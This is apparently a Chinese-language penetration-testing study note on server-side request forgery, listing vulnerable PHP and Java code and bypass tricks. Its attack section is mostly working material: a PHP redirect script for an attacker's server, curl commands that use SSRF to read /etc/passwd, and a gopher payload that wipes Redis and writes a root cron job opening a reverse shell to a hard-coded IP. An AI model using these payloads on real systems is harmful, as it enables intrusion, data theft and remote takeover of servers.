sql注入
XSS
CSRF
SSRF
ssrf即服务器请求伪造漏洞,凡是能发起网络请求的地方,都有可能存在该漏洞。
漏洞的成因是服务器需要通过网络请求访问资源,但是在进行访问的时候:
- 存在网络访问地址可以修改的位置
- 未对网络访问做任何限制:地址白名单、关键字过滤、302跳转等等
以下位置都可能存在ssrf漏洞:
源码分析
php导致ssrf的源码
php中下面的函数使用不当会导致ssrf问题
1 2 3
| file_get_contents() fsockopen() curl_exec()
|
java导致ssrf的源码
url参数没做限制,可调用URLConnection发起任意请求,比如请求内网,或使用file等协议读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public static String URLConnection(String url) { try { URL u = new URL(url); URLConnection conn = u.openConnection(); BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream())); String content; StringBuffer html = new StringBuffer();
while ((content = reader.readLine()) != null) { html.append(content); } reader.close(); return html.toString();
} catch (Exception e) { return e.getMessage(); } }
|
绕过方式
SSRF漏洞Bypass技巧 - 知乎 (zhihu.com)
@符号绕过
@符号后面的内容才是真实的访问内容
http://www.baidu.com@10.10.10.10与http://10.10.10.10请求是相同的
该请求得到的内容都是10.10.10.10的内容,此绕过同样在URL跳转绕过中适用。
302 Redirect绕过
创建一个302.php
放入vps的网站
1 2 3 4 5 6 7 8 9 10
| <?php $schema = $_GET['s']; $ip = $_GET['i']; $port = $_GET['p']; $query = $_GET['q']; if(empty($port)){ header("Location: $schema://$ip/$query"); } else { header("Location: $schema://$ip:$port/$query"); }
|
使用方法,简单验证:
1
| ?url=https://poetmilk.fun/302.php?s=http&i=192.168.80.80&p=48756&q=vul/ssrf/ssrf_info/info1.php
|
也可以使用curl,以下是curl进行redis利用的例子:
1 2 3 4 5 6 7 8 9 10 11
| dict://127.0.0.1:6379/info curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info'
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd'
curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0 a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d %0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3 %0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
|
任意文件读取/下载
登录凭据可爆破
明文传输
弱口令